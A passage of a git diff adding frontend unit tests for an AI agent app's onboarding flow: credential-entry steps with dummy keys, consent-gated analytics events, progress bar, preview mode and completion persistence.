+      screen.getByTestId("onboarding-step-setup-acp-secrets"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("onboarding-progress-step-2"),
+    ).toBeInTheDocument();
+    expect(screen.queryByTestId("onboarding-progress-step-3")).toBeNull();
+
+    // Both Anthropic credentials are offered; the optional base URL too.
+    const apiKeyField = screen.getByTestId(
+      "onboarding-acp-secret-ANTHROPIC_API_KEY",
+    );
+    expect(apiKeyField).toBeInTheDocument();
+    expect(
+      screen.getByTestId("onboarding-acp-secret-ANTHROPIC_BASE_URL"),
+    ).toBeInTheDocument();
+
+    // Fill the API key and advance: the value is upserted as a global
+    // secret of the same name, then the flow moves on to Say Hello.
+    await user.type(apiKeyField, "sk-ant-test");
+    await user.click(screen.getByTestId("onboarding-acp-secrets-next"));
+
+    await waitFor(() => {
+      expect(SecretsService.createSecret).toHaveBeenCalledWith(
+        "ANTHROPIC_API_KEY",
+        "sk-ant-test",
+        undefined,
+      );
+    });
+    await waitFor(
+      () =>
+        expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+          "data-current-step",
+          "2",
+        ),
+      { timeout: 3000 },
+    );
+  });
+
+  it("skips the secret write when the ACP credentials step is left blank", async () => {
+    renderModal();
+    const user = userEvent.setup();
+
+    await waitForConfiguredBackendToBeSkipped();
+    await user.click(screen.getByTestId("onboarding-agent-option-codex"));
+    await completeAgentStep(user);
+    await waitFor(
+      () =>
+        expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+          "data-current-step",
+          "1",
+        ),
+      { timeout: 3000 },
+    );
+
+    // Leaving every field empty is a deliberate skip — no secret is
+    // written, and the user still advances to Say Hello.
+    await user.click(screen.getByTestId("onboarding-acp-secrets-next"));
+    await waitFor(
+      () =>
+        expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+          "data-current-step",
+          "2",
+        ),
+      { timeout: 3000 },
+    );
+    expect(SecretsService.createSecret).not.toHaveBeenCalled();
+  });
+
+  it("pre-fills the say-hello input with the default greeting on the final step", async () => {
+    renderModal();
+    const user = userEvent.setup();
+
+    await waitForConfiguredBackendToBeSkipped();
+    await completeAgentStep(user);
+    await user.click(screen.getByTestId("onboarding-llm-next"));
+
+    const helloInput = screen.getByTestId(
+      "onboarding-hello-input",
+    ) as HTMLInputElement;
+    // Translation is mocked to return the key; the default-message
+    // hook still pre-fills with whatever t() returns, which here is
+    // the I18nKey itself. The contract under test is that the input
+    // is non-empty and matches the resolved default message.
+    expect(helloInput.value).toBe("ONBOARDING$HELLO_DEFAULT_MESSAGE");
+  });
+
+  it("shows recommended automations below the Say Hello input", async () => {
+    const onClose = vi.fn();
+    renderModal(onClose);
+    const user = userEvent.setup();
+
+    await waitForConfiguredBackendToBeSkipped();
+    await completeAgentStep(user);
+    await waitFor(() =>
+      expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute(
+        "data-active",
+        "true",
+      ),
+    );
+    await user.click(screen.getByTestId("onboarding-llm-next"));
+    await waitFor(() =>
+      expect(screen.getByTestId("onboarding-slide-2")).toHaveAttribute(
+        "data-active",
+        "true",
+      ),
+    );
+
+    const helloInput = screen.getByTestId("onboarding-hello-input");
+    const recommendations = screen.getByTestId(
+      "onboarding-recommended-automations",
+    );
+    expect(
+      helloInput.compareDocumentPosition(recommendations) &
+      Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+    expect(
+      within(recommendations).getByTestId(
+        "recommended-automations-launcher-stub",
+      ),
+    ).toBeInTheDocument();
+
+    expect(recommendations.closest("form")).toBeNull();
+
+    await user.click(
+      within(recommendations).getByRole("button", {
+        name: "launch recommended automation",
+      }),
+    );
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  describe("analytics events", () => {
+    // Surface only the captures for a given event; a session emits several.
+    const eventCalls = (event: string) =>
+      captureMock.mock.calls.filter(([name]) => name === event);
+
+    beforeEach(() => {
+      // Grant analytics consent so events pass useTracking's consent gate;
+      // the outer beforeEach seeds settings with consent withheld.
+      vi.spyOn(SettingsService, "getSettings").mockResolvedValue({
+        ...DEFAULT_SETTINGS,
+        agent_settings: { ...DEFAULT_SETTINGS.agent_settings, llm: {} },
+        user_consents_to_analytics: true,
+      });
+    });
+
+    it("captures onboarding_started once per session even across a remount", async () => {
+      // Arrange + act: open onboarding and let the first mount settle (a Step
+      // Viewed capture confirms consent resolved and backend health settled).
+      const firstMount = renderModal();
+      await waitFor(() =>
+        expect(
+          eventCalls("onboarding_step_viewed").length,
+        ).toBeGreaterThanOrEqual(1),
+      );
+
+      // Act: tear the modal down and mount it again in the same session. The
+      // remounted modal re-emits Step Viewed from a fresh ref, so waiting for
+      // the second one proves the Started effect had its chance to re-fire.
+      firstMount.unmount();
+      renderModal();
+      await waitFor(() =>
+        expect(
+          eventCalls("onboarding_step_viewed").length,
+        ).toBeGreaterThanOrEqual(2),
+      );
+
+      // Assert: the sessionStorage guard kept Started at a single capture.
+      expect(eventCalls("onboarding_started")).toHaveLength(1);
+    });
+
+    it("captures no onboarding events while analytics consent is not granted", async () => {
+      // Arrange: withhold consent.
+      vi.spyOn(SettingsService, "getSettings").mockResolvedValue({
+        ...DEFAULT_SETTINGS,
+        agent_settings: { ...DEFAULT_SETTINGS.agent_settings, llm: {} },
+        user_consents_to_analytics: false,
+      });
+
+      // Act: open onboarding and let it settle on the first step.
+      renderModal();
+      await waitForConfiguredBackendToBeSkipped();
+
+      // Assert: nothing reached PostHog.
+      expect(captureMock).not.toHaveBeenCalled();
+    });
+
+    it("captures onboarding_step_viewed for each step as the user advances", async () => {
+      // Arrange: the healthy backend is skipped, so the user lands on the
+      // agent step (index 0 of the 3-step flow).
+      renderModal();
+      const user = userEvent.setup();
+      await waitForConfiguredBackendToBeSkipped();
+
+      // Assert: the entry step carries the full funnel identity.
+      await waitFor(() =>
+        expect(captureMock).toHaveBeenCalledWith(
+          "onboarding_step_viewed",
+          expect.objectContaining({
+            step: "agent",
+            step_index: 0,
+            total_steps: 3,
+            agent: "openhands",
+          }),
+        ),
+      );
+
+      // Act: advance to the next step.
+      await completeAgentStep(user);
+
+      // Assert: the new step is captured too — tracking follows transitions,
+      // not just the initial mount.
+      await waitFor(() =>
+        expect(captureMock).toHaveBeenCalledWith(
+          "onboarding_step_viewed",
+          expect.objectContaining({
+            step: "setup",
+            step_index: 1,
+            total_steps: 3,
+          }),
+        ),
+      );
+    });
+
+    it("captures onboarding_completed when a conversation is launched from the final step", async () => {
+      // Arrange: walk through to the final Say Hello step.
+      renderModal();
+      const user = userEvent.setup();
+      await waitForConfiguredBackendToBeSkipped();
+      await completeAgentStep(user);
+      await user.click(screen.getByTestId("onboarding-llm-next"));
+      await waitFor(() =>
+        expect(screen.getByTestId("onboarding-slide-2")).toHaveAttribute(
+          "data-active",
+          "true",
+        ),
+      );
+
+      // Act: launch from the final step. The stubbed recommended-automation
+      // launcher invokes the same onLaunched completion callback as Say Hello.
+      const recommendations = screen.getByTestId(
+        "onboarding-recommended-automations",
+      );
+      await user.click(
+        within(recommendations).getByRole("button", {
+          name: "launch recommended automation",
+        }),
+      );
+
+      // Assert.
+      expect(captureMock).toHaveBeenCalledWith(
+        "onboarding_completed",
+        expect.objectContaining({ agent: "openhands" }),
+      );
+    });
+
+    it("captures onboarding_skipped with the current step when the user skips", async () => {
+      // Arrange: healthy backend skipped → user is on the agent step (0 of 3).
+      renderModal();
+      const user = userEvent.setup();
+      await waitForConfiguredBackendToBeSkipped();
+
+      // Act: skip out of onboarding.
+      await user.click(screen.getByTestId("onboarding-skip"));
+
+      // Assert.
+      expect(captureMock).toHaveBeenCalledWith(
+        "onboarding_skipped",
+        expect.objectContaining({
+          step: "agent",
+          step_index: 0,
+          total_steps: 3,
+          agent: "openhands",
+        }),
+      );
+    });
+  });
+
+  describe("Getting Started checklist skip", () => {
+    it("renders a centered skip checkbox below the modal on Say Hello", async () => {
+      renderModal(vi.fn(), { initialStep: 3 });
+
+      await waitFor(() => {
+        expect(
+          screen.getByTestId("onboarding-step-say-hello"),
+        ).toBeInTheDocument();
+      });
+
+      const checkbox = screen.getByTestId(
+        "onboarding-skip-getting-started-checklist",
+      );
+      expect(checkbox).toBeInTheDocument();
+      expect(checkbox).not.toBeChecked();
+      expect(
+        screen.getByText("ONBOARDING$SKIP_GETTING_STARTED_CHECKLIST"),
+      ).toBeInTheDocument();
+
+      const modal = screen.getByTestId("onboarding-modal");
+      expect(modal.contains(checkbox)).toBe(false);
+    });
+
+    it("persists dismissal when the skip checkbox is checked", async () => {
+      const user = userEvent.setup();
+      renderModal(vi.fn(), { initialStep: 3 });
+
+      await waitFor(() => {
+        expect(
+          screen.getByTestId("onboarding-skip-getting-started-checklist"),
+        ).toBeInTheDocument();
+      });
+
+      await user.click(
+        screen.getByTestId("onboarding-skip-getting-started-checklist"),
+      );
+
+      expect(
+        window.localStorage.getItem(
+          SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY,
+        ),
+      ).toBe("true");
+    });
+  });
+});
diff --git a/__tests__/components/onboarding/onboarding-preview.test.ts b/__tests__/components/onboarding/onboarding-preview.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..9401b5f275d30786a7c24df62746a90b0f435966
--- /dev/null
+++ b/__tests__/components/onboarding/onboarding-preview.test.ts
@@ -0,0 +1,27 @@
+import { describe, expect, it } from "vitest";
+import {
+  ONBOARDING_PREVIEW_STEP_QUERY_PARAM,
+  isOnboardingPreviewActive,
+  readOnboardingPreviewStep,
+} from "#/components/features/onboarding/onboarding-preview";
+
+describe("onboarding-preview", () => {
+  it("reads a valid preview step from the query string", () => {
+    expect(
+      readOnboardingPreviewStep(`?${ONBOARDING_PREVIEW_STEP_QUERY_PARAM}=3`),
+    ).toBe(3);
+  });
+
+  it("rejects out-of-range preview steps", () => {
+    expect(
+      readOnboardingPreviewStep(`?${ONBOARDING_PREVIEW_STEP_QUERY_PARAM}=9`),
+    ).toBeNull();
+  });
+
+  it("detects when preview mode is active", () => {
+    expect(
+      isOnboardingPreviewActive(`?${ONBOARDING_PREVIEW_STEP_QUERY_PARAM}=2`),
+    ).toBe(true);
+    expect(isOnboardingPreviewActive("?foo=bar")).toBe(false);
+  });
+});
diff --git a/__tests__/components/onboarding/onboarding-progress-bar.test.tsx b/__tests__/components/onboarding/onboarding-progress-bar.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..adf19a181f204ecf3827d3bda272fc385710768b
--- /dev/null
+++ b/__tests__/components/onboarding/onboarding-progress-bar.test.tsx
@@ -0,0 +1,42 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { OnboardingProgressBar } from "#/components/features/onboarding/onboarding-progress-bar";
+
+describe("OnboardingProgressBar", () => {
+  it("renders one segment per step and marks the current segment", () => {
+    render(<OnboardingProgressBar currentStep={1} totalSteps={4} />);
+
+    const bar = screen.getByTestId("onboarding-progress-bar");
+    expect(bar).toHaveAttribute("aria-valuenow", "2");
+    expect(bar).toHaveAttribute("aria-valuemin", "1");
+    expect(bar).toHaveAttribute("aria-valuemax", "4");
+
+    // Segment states match the current step.
+    expect(
+      screen.getByTestId("onboarding-progress-step-0"),
+    ).toHaveAttribute("data-state", "completed");
+    expect(
+      screen.getByTestId("onboarding-progress-step-1"),
+    ).toHaveAttribute("data-state", "current");
+    expect(
+      screen.getByTestId("onboarding-progress-step-2"),
+    ).toHaveAttribute("data-state", "upcoming");
+    expect(
+      screen.getByTestId("onboarding-progress-step-3"),
+    ).toHaveAttribute("data-state", "upcoming");
+  });
+
+  it("treats the first step as current with no completed segments", () => {
+    render(<OnboardingProgressBar currentStep={0} totalSteps={3} />);
+
+    expect(
+      screen.getByTestId("onboarding-progress-step-0"),
+    ).toHaveAttribute("data-state", "current");
+    expect(
+      screen.getByTestId("onboarding-progress-step-1"),
+    ).toHaveAttribute("data-state", "upcoming");
+    expect(
+      screen.getByTestId("onboarding-progress-step-2"),
+    ).toHaveAttribute("data-state", "upcoming");
+  });
+});
diff --git a/__tests__/components/onboarding/setup-acp-secrets-step.test.tsx b/__tests__/components/onboarding/setup-acp-secrets-step.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..29eea47676a59d8ac631e29b0ff67c7ceab992ad
--- /dev/null
+++ b/__tests__/components/onboarding/setup-acp-secrets-step.test.tsx
@@ -0,0 +1,515 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  SetupAcpSecretsStep,
+  backendRequiresAcpCredentials,
+} from "#/components/features/onboarding/steps/setup-acp-secrets-step";
+import { type OnboardingAgentId } from "#/components/features/onboarding/steps/choose-agent-step";
+import { SecretsService } from "#/api/secrets-service";
+
+// The login-detection probe is exercised in its own hook test; here we stub it
+// so rendering the step doesn't spin a conversation, and so we can drive the
+// banner states directly.
+const acpAuthStatusMock = vi.hoisted(() => vi.fn());
+vi.mock("#/hooks/query/use-acp-auth-status", () => ({
+  useAcpAuthStatus: (...args: unknown[]) => acpAuthStatusMock(...args),
+}));
+
+function renderStep(
+  providerKey: OnboardingAgentId = "claude-code",
+  isActive = true,
+) {
+  const onBack = vi.fn();
+  const onNext = vi.fn();
+  const user = userEvent.setup();
+  render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <ActiveBackendProvider>
+        <SetupAcpSecretsStep
+          providerKey={providerKey}
+          isActive={isActive}
+          onBack={onBack}
+          onNext={onNext}
+        />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+  return { onBack, onNext, user };
+}
+
+/**
+ * Render the Claude Code step with ANTHROPIC_API_KEY already saved, and wait
+ * until that state has loaded (its "already saved" placeholder appears once
+ * `useSearchSecrets` resolves). Shared by every test that exercises the
+ * existing-secret paths so the fixture lives in one place.
+ */
+async function renderWithSavedApiKey() {
+  vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([
+    { name: "ANTHROPIC_API_KEY" },
+  ]);
+  const handles = renderStep("claude-code");
+  const apiKey = screen.getByTestId(
+    "onboarding-acp-secret-ANTHROPIC_API_KEY",
+  ) as HTMLInputElement;
+  await waitFor(() => expect(apiKey.placeholder.length).toBeGreaterThan(0));
+  return { ...handles, apiKey };
+}
+
+beforeEach(() => {
+  vi.restoreAllMocks();
+  __resetActiveStoreForTests();
+  acpAuthStatusMock.mockReturnValue({
+    status: "unknown",
+    isChecking: false,
+    isSupported: false,
+  });
+  vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([]);
+  vi.spyOn(SecretsService, "createSecret").mockResolvedValue();
+});
+afterEach(() => {
+  // setRegisteredBackends persists to localStorage, which
+  // __resetActiveStoreForTests re-reads — clear it so a test's backend
+  // registration (e.g. the cloud case) can't leak into the next test.
+  localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("SetupAcpSecretsStep", () => {
+  it("renders the provider's API key and optional base URL fields", () => {
+    renderStep("codex");
+
+    expect(
+      screen.getByTestId("onboarding-acp-secret-OPENAI_API_KEY"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("onboarding-acp-secret-OPENAI_BASE_URL"),
+    ).toBeInTheDocument();
+    // The API key is a password field; the base URL is a plain text input.
+    expect(
+      screen.getByTestId("onboarding-acp-secret-OPENAI_API_KEY"),
+    ).toHaveAttribute("type", "password");
+    expect(
+      screen.getByTestId("onboarding-acp-secret-OPENAI_BASE_URL"),
+    ).toHaveAttribute("type", "text");
+  });
+
+  it("flags a credential that already exists as a saved secret", async () => {
+    const { apiKey } = await renderWithSavedApiKey();
+
+    // The already-saved field carries a non-empty placeholder hint; a
+    // not-yet-saved field (base URL) does not.
+    const baseUrl = screen.getByTestId(
+      "onboarding-acp-secret-ANTHROPIC_BASE_URL",
+    ) as HTMLInputElement;
+    expect(apiKey.placeholder.length).toBeGreaterThan(0);
+    expect(baseUrl.placeholder).toBe("");
+  });
+
+  it("does not write an existing secret when its field is left blank", async () => {
+    const { onNext, user } = await renderWithSavedApiKey();
+
+    // Advance without typing: a blank field is a deliberate skip, so the
+    // already-saved secret must be left untouched (no overwrite).
+    await user.click(screen.getByTestId("onboarding-acp-secrets-next"));
+
+    await waitFor(() => expect(onNext).toHaveBeenCalledTimes(1));
+    expect(SecretsService.createSecret).not.toHaveBeenCalled();
+  });
+
+  it("overwrites an existing secret when the user types a replacement", async () => {
+    // Key rotation: a credential is already saved, the user types a new value
+    // over it. The blank-skip guard must not suppress this — the new value has
+    // to be written even though the secret already exists.
+    const { onNext, user, apiKey } = await renderWithSavedApiKey();
+
+    await user.type(apiKey, "sk-ant-new-key");
+    await user.click(screen.getByTestId("onboarding-acp-secrets-next"));
+
+    await waitFor(() => {
+      expect(SecretsService.createSecret).toHaveBeenCalledWith(
+        "ANTHROPIC_API_KEY",
+        "sk-ant-new-key",
+        undefined,
+      );
+      expect(onNext).toHaveBeenCalledTimes(1);
+    });
+  });
+
+  it("upserts every filled field as a secret and then advances", async () => {
+    const { onNext, user } = renderStep("claude-code");
+
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-ANTHROPIC_API_KEY"),
+      "sk-ant-123",
+    );
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-ANTHROPIC_BASE_URL"),
+      "https://proxy.example.com",
+    );
+    await user.click(screen.getByTestId("onboarding-acp-secrets-next"));
+
+    await waitFor(() => {
+      expect(SecretsService.createSecret).toHaveBeenCalledWith(
+        "ANTHROPIC_API_KEY",
+        "sk-ant-123",
+        undefined,
+      );
+      expect(SecretsService.createSecret).toHaveBeenCalledWith(
+        "ANTHROPIC_BASE_URL",
+        "https://proxy.example.com",
+        undefined,
+      );
+      expect(onNext).toHaveBeenCalledTimes(1);
+    });
+  });
+
+  it("does not advance when a secret write fails", async () => {
+    vi.spyOn(SecretsService, "createSecret").mockRejectedValue(
+      new Error("boom"),
+    );
+    const { onNext, user } = renderStep("claude-code");
+
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-ANTHROPIC_API_KEY"),
+      "sk-ant-123",
+    );
+    await user.click(screen.getByTestId("onboarding-acp-secrets-next"));
+
+    await waitFor(() =>
+      expect(SecretsService.createSecret).toHaveBeenCalledTimes(1),
+    );
+    expect(onNext).not.toHaveBeenCalled();
+  });
+
+  it("runs the login probe scoped to the active step and provider", () => {
+    renderStep("claude-code", true);
+    expect(acpAuthStatusMock).toHaveBeenCalledWith("claude-code", {
+      enabled: true,
+    });
+  });
+
+  it("disables the login probe when the step is not active", () => {
+    renderStep("claude-code", false);
+    expect(acpAuthStatusMock).toHaveBeenCalledWith("claude-code", {
+      enabled: false,
+    });
+  });
+
+  it("shows the 'checking' banner while the login probe is in flight", () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "unknown",
+      isChecking: true,
+      isSupported: true,
+    });
+    renderStep("claude-code");
+
+    expect(
+      screen.getByTestId("onboarding-acp-auth-checking"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-acp-auth-detected"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the 'already signed in' banner when authenticated, keeping the key fields", () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "authenticated",
+      isChecking: false,
+      isSupported: true,
+    });
+    renderStep("claude-code");
+
+    expect(
+      screen.getByTestId("onboarding-acp-auth-detected"),
+    ).toBeInTheDocument();
+    // The fields stay visible (now optional) even when already logged in.
+    expect(
+      screen.getByTestId("onboarding-acp-secret-ANTHROPIC_API_KEY"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders Gemini's credential fields and the 'signed in' banner together", () => {
+    // Gemini's key/base-URL come from the SDK registry like the others, so the
+    // step shows the GEMINI_API_KEY field AND the detection banner (its Google
+    // login takes precedence, but a key can still be entered).
+    acpAuthStatusMock.mockReturnValue({
+      status: "authenticated",
+      isChecking: false,
+      isSupported: true,
+    });
+    renderStep("gemini-cli");
+
+    expect(
+      screen.getByTestId("onboarding-acp-auth-detected"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("onboarding-acp-secret-GEMINI_API_KEY"),
+    ).toBeInTheDocument();
+  });
+
+  it("shows no banner when the provider is not authenticated", () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "unauthenticated",
+      isChecking: false,
+      isSupported: true,
+    });
+    renderStep("claude-code");
+
+    expect(
+      screen.queryByTestId("onboarding-acp-auth-detected"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-acp-auth-checking"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the 'credentials configured' banner when a credential is stored but the probe can't confirm a login", async () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "unknown",
+      isChecking: false,
+      isSupported: true,
+    });
+    vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([
+      { name: "ANTHROPIC_API_KEY" },
+    ]);
+    renderStep("claude-code");
+
+    expect(
+      await screen.findByTestId("onboarding-acp-auth-configured"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-acp-auth-detected"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the Codex subscription blob as a multiline textarea", () => {
+    renderStep("codex");
+
+    const blob = screen.getByTestId("onboarding-acp-secret-CODEX_AUTH_JSON");
+    expect(blob.tagName).toBe("TEXTAREA");
+  });
+
+  it("requires credentials (blocks Next) on a logged-out local backend, then unblocks once one is entered", async () => {
+    // local + "unauthenticated" = a fresh container with no host login → the
+    // step is required until the user provides a credential.
+    acpAuthStatusMock.mockReturnValue({
+      status: "unauthenticated",
+      isChecking: false,
+      isSupported: true,
+    });
+    const { onNext, user } = renderStep("claude-code");
+
+    expect(
+      screen.getByTestId("onboarding-acp-secrets-blocked"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("onboarding-acp-secrets-next")).toBeDisabled();
+
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"),
+      "oauth-token",
+    );
+
+    expect(
+      screen.queryByTestId("onboarding-acp-secrets-blocked"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("onboarding-acp-secrets-next"),
+    ).not.toBeDisabled();
+
+    await user.click(screen.getByTestId("onboarding-acp-secrets-next"));
+    await waitFor(() => expect(onNext).toHaveBeenCalledTimes(1));
+  });
+
+  it("does not block Next when the login probe is unknown (permissive for native dev)", () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "unknown",
+      isChecking: false,
+      isSupported: false,
+    });
+    renderStep("claude-code");
+
+    expect(
+      screen.queryByTestId("onboarding-acp-secrets-blocked"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("onboarding-acp-secrets-next"),
+    ).not.toBeDisabled();
+  });
+
+  it("stays blocked when only a non-credential field is filled", async () => {
+    // GOOGLE_CLOUD_LOCATION (or a base URL) alone can't authenticate anything —
+    // only a masked ``secret`` field (blob / token / API key) satisfies a
+    // required credential step.
+    acpAuthStatusMock.mockReturnValue({
+      status: "unauthenticated",
+      isChecking: false,
+      isSupported: true,
+    });
+    const { user } = renderStep("gemini-cli");
+
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-GOOGLE_CLOUD_LOCATION"),
+      "us-central1",
+    );
+
+    expect(
+      screen.getByTestId("onboarding-acp-secrets-blocked"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("onboarding-acp-secrets-next")).toBeDisabled();
+
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-GEMINI_API_KEY"),
+      "AIza-key",
+    );
+
+    expect(
+      screen.queryByTestId("onboarding-acp-secrets-blocked"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("counts a Codex file blob toward the gate on cloud (cloud materialises file secrets)", async () => {
+    // Cloud materialises file-content credentials (Codex auth.json, Gemini
+    // Vertex SA) from the encrypted secret store via agent_context.secrets at
+    // conversation start, so a pasted blob satisfies a required step exactly
+    // like an env-var credential does.
+    setRegisteredBackends([
+      {
+        id: "cloud-1",
+        name: "Cloud",
+        host: "https://app.example.dev",
+        apiKey: "key",
+        kind: "cloud",
+      },
+    ]);
+    setActiveSelection({ backendId: "cloud-1", orgId: null });
+    const { user } = renderStep("codex");
+
+    // Required on cloud, so initially blocked until a credential is supplied.
+    expect(screen.getByTestId("onboarding-acp-secrets-next")).toBeDisabled();
+
+    await user.click(
+      screen.getByTestId("onboarding-acp-secret-CODEX_AUTH_JSON"),
+    );
+    await user.paste('{"tokens":{}}');
+
+    expect(
+      screen.queryByTestId("onboarding-acp-secrets-blocked"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("onboarding-acp-secrets-next"),
+    ).not.toBeDisabled();
+  });
+
+  it("holds Next while the login probe is still in flight, without the blocked note", async () => {
+    // A fast click must not slip past a gate the probe is about to raise; the
+    // "checking login status" banner already explains the wait. A credential
+    // typed meanwhile releases the hold.
+    acpAuthStatusMock.mockReturnValue({
+      status: "unknown",
+      isChecking: true,
+      isSupported: true,
+    });
+    const { user } = renderStep("claude-code");
+
+    expect(screen.getByTestId("onboarding-acp-secrets-next")).toBeDisabled();
+    // Not "blocked" — just pending classification.
+    expect(
+      screen.queryByTestId("onboarding-acp-secrets-blocked"),
+    ).not.toBeInTheDocument();
+
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"),
+      "oauth-token",
+    );
+
+    expect(
+      screen.getByTestId("onboarding-acp-secrets-next"),
+    ).not.toBeDisabled();
+  });
+
+  it("warns when the Claude OAuth token and base URL are both set (bearer-auth conflict)", async () => {
+    const { user } = renderStep("claude-code");
+
+    expect(
+      screen.queryByTestId("acp-credential-conflict-warning"),
+    ).not.toBeInTheDocument();
+
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"),
+      "oauth-token",
+    );
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-ANTHROPIC_BASE_URL"),
+      "https://proxy.example.com",
+    );
+
+    expect(
+      screen.getByTestId("acp-credential-conflict-warning"),
+    ).toBeInTheDocument();
+  });
+
+  it("counts an already-saved secret toward the conflict warning", async () => {
+    // A previously saved ANTHROPIC_BASE_URL conflicts just the same as a typed
+    // one — the warning must consider the secret store, not just the form.
+    vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([
+      { name: "ANTHROPIC_BASE_URL" },
+    ]);
+    const { user } = renderStep("claude-code");
+    await waitFor(() =>
+      expect(
+        (
+          screen.getByTestId(
+            "onboarding-acp-secret-ANTHROPIC_BASE_URL",
+          ) as HTMLInputElement
+        ).placeholder.length,
+      ).toBeGreaterThan(0),
+    );
+
+    await user.type(
+      screen.getByTestId("onboarding-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"),
+      "oauth-token",
+    );
+
+    expect(
+      screen.getByTestId("acp-credential-conflict-warning"),
+    ).toBeInTheDocument();
+  });
+});
+
+describe("backendRequiresAcpCredentials", () => {
+  it("never requires credentials when a login is already detected", () => {
+    expect(backendRequiresAcpCredentials("local", "authenticated")).toBe(false);
+    expect(backendRequiresAcpCredentials("cloud", "authenticated")).toBe(false);
+  });
+
+  it("always requires credentials on a cloud backend (no host login)", () => {
+    expect(backendRequiresAcpCredentials("cloud", "unauthenticated")).toBe(
+      true,
+    );
+    expect(backendRequiresAcpCredentials("cloud", "unknown")).toBe(true);
+  });
+
+  it("requires credentials on a logged-out local backend (a fresh container)", () => {
+    expect(backendRequiresAcpCredentials("local", "unauthenticated")).toBe(
+      true,
+    );
+  });
+
+  it("stays permissive on a local backend the probe can't classify", () => {
+    expect(backendRequiresAcpCredentials("local", "unknown")).toBe(false);
+  });
+});
diff --git a/__tests__/components/onboarding/use-onboarding-completion.test.tsx b/__tests__/components/onboarding/use-onboarding-completion.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..26184f80ea84f7677c4a71fb1d28a7b0e5c6e50e
--- /dev/null
+++ b/__tests__/components/onboarding/use-onboarding-completion.test.tsx
@@ -0,0 +1,58 @@
+import React from "react";
+import { act, renderHook } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import {
+  ONBOARDING_COMPLETED_STORAGE_KEY,
+  useOnboardingCompletion,
+} from "#/components/features/onboarding/use-onboarding-completion";
+
+beforeEach(() => {
+  window.localStorage.clear();
+});
+afterEach(() => {
+  window.localStorage.clear();
+});
+
+describe("useOnboardingCompletion", () => {
+  it("starts incomplete when the localStorage flag is missing", () => {
+    const { result } = renderHook(() => useOnboardingCompletion());
+    expect(result.current.isCompleted).toBe(false);
+  });
+
+  it("starts complete when the localStorage flag is set", () => {
+    window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1");
+    const { result } = renderHook(() => useOnboardingCompletion());
+    expect(result.current.isCompleted).toBe(true);
+  });
+
+  it("persists completion to localStorage and flips the flag", () => {
+    const { result } = renderHook(() => useOnboardingCompletion());
+    expect(result.current.isCompleted).toBe(false);
+
+    act(() => {
+      result.current.markCompleted();
+    });
+
+    expect(result.current.isCompleted).toBe(true);
+    expect(
+      window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY),
+    ).not.toBeNull();
+  });
+
+  it("syncs across tabs via the storage event", () => {
+    const { result } = renderHook(() => useOnboardingCompletion());
+    expect(result.current.isCompleted).toBe(false);
+
+    act(() => {
+      window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1");
+      window.dispatchEvent(
